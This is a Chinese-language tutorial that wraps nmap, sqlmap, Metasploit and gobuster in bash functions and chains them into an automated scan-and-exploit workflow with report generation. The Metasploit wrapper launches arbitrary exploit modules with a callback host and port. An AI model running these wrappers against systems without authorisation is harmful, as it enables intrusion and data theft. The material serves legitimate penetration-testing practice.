红队工具链的bash封装

概述

将常用红队工具(nmap、metasploit、sqlmap等)用bash封装,实现自动化工作流和结果收集。本文介绍常用工具的bash封装、自动化工作流和结果收集。

核心理念

  • 统一接口:所有工具使用统一的调用方式
  • 自动化工作流:工具组合自动执行
  • 结果收集:统一的输出格式和存储
  • 日志记录:所有操作可追溯

1. 工具封装

1.1 Nmap 封装

scan_nmap() {
    local target="$1" output_dir="${2:-.}"
    local scan_type="${3:-default}"
 
    echo "[*] Nmap 扫描: $target (类型: $scan_type)"
 
    case "$scan_type" in
        quick)
            nmap -T4 -F "$target" -oN "${output_dir}/nmap_quick_${target}.txt"
            ;;
        full)
            nmap -sC -sV -O -A "$target" -oN "${output_dir}/nmap_full_${target}.txt"
            ;;
        vuln)
            nmap --script vuln "$target" -oN "${output_dir}/nmap_vuln_${target}.txt"
            ;;
        default)
            nmap -sC -sV "$target" -oN "${output_dir}/nmap_default_${target}.txt"
            ;;
    esac
    echo "[+] 扫描完成"
}

1.2 SQLmap 封装

scan_sqlmap() {
    local url="$1" output_dir="${2:-.}"
    local level="${3:-3}" risk="${4:-2}"
 
    echo "[*] SQLmap 扫描: $url"
 
    sqlmap -u "$url" \
        --level="$level" --risk="$risk" \
        --batch \
        --output-dir="$output_dir" \
        --crawl=3 \
        --forms \
        --random-agent
 
    echo "[+] SQLmap 扫描完成"
}

1.3 Metasploit 封装

run_msf() {
    local module="$1" rhost="$2" lhost="$3" lport="${4:-4444}"
 
    echo "[*] Metasploit: $module"
 
    msfconsole -q -x "
        use $module;
        set RHOSTS $rhost;
        set LHOST $lhost;
        set LPORT $lport;
        exploit -z;
        exit
    " 2>/dev/null
 
    echo "[+] Metasploit 执行完成"
}

2. 自动化工作流

workflow_pentest() {
    local target="$1" output_dir="${2:-/tmp/pentest_$(date +%Y%m%d)}"
 
    mkdir -p "$output_dir"
 
    echo "[*] === 自动化渗透测试工作流 ==="
    echo "[*] 目标: $target"
    echo "[*] 输出: $output_dir"
 
    # 阶段1: 信息收集
    echo "[*] 阶段1: 信息收集"
    scan_nmap "$target" "$output_dir" "full"
 
    # 阶段2: 漏洞扫描
    echo "[*] 阶段2: 漏洞扫描"
    scan_sqlmap "http://$target" "$output_dir"
 
    # 阶段3: 漏洞利用
    echo "[*] 阶段3: 漏洞利用"
    # run_msf "exploit/multi/handler" "$target"
 
    # 阶段4: 报告生成
    echo "[*] 阶段4: 报告生成"
    generate_pentest_report "$target" "$output_dir"
 
    echo "[+] 工作流完成"
}

3. 结果收集

generate_pentest_report() {
    local target="$1" output_dir="$2"
    local report="${output_dir}/report.html"
 
    cat > "$report" << EOF
<!DOCTYPE html>
<html>
<head><title>渗透测试报告: $target</title></head>
<body>
<h1>渗透测试报告</h1>
<p>目标: $target</p>
<p>时间: $(date '+%Y-%m-%d %H:%M:%S')</p>
<h2>发现</h2>
<pre>
$(cat ${output_dir}/nmap_*.txt 2>/dev/null | head -100)
</pre>
</body>
</html>
EOF
    echo "[+] 报告已生成: $report"
}
 
collect_results() {
    local output_dir="$1"
    echo "[*] 收集结果..."
 
    # 合并所有结果
    cat ${output_dir}/*.txt > "${output_dir}/all_results.txt"
 
    # 统计发现
    local vuln_count
    vuln_count=$(grep -c "VULNERABLE" ${output_dir}/*.txt 2>/dev/null || echo 0)
    echo "[+] 发现漏洞: $vuln_count"
 
    # 生成摘要
    echo "扫描时间: $(date)" > "${output_dir}/summary.txt"
    echo "目标: $target" >> "${output_dir}/summary.txt"
    echo "漏洞数: $vuln_count" >> "${output_dir}/summary.txt"
}

4. 综合工具脚本

#!/usr/bin/env bash
# 红队工具链综合脚本
 
TARGET="$1"
OUTPUT_DIR="/tmp/redteam_$(date +%Y%m%d_%H%M%S)"
 
mkdir -p "$OUTPUT_DIR"
 
echo "[*] === 红队工具链 ==="
 
# Nmap 扫描
scan_nmap "$TARGET" "$OUTPUT_DIR" "full"
 
# SQLmap 扫描
scan_sqlmap "http://$TARGET" "$OUTPUT_DIR"
 
# 目录枚举
gobuster dir -u "http://$TARGET" -w /usr/share/wordlists/dirb/common.txt \
    -o "${OUTPUT_DIR}/dirs.txt" 2>/dev/null
 
# 结果收集
collect_results "$OUTPUT_DIR"
 
echo "[+] 完成! 结果: $OUTPUT_DIR"

总结

本文介绍了红队工具链的bash封装:nmap、sqlmap、metasploit的自动化调用,自动化渗透测试工作流,以及结果收集和报告生成。这些封装可以大大提高渗透测试效率。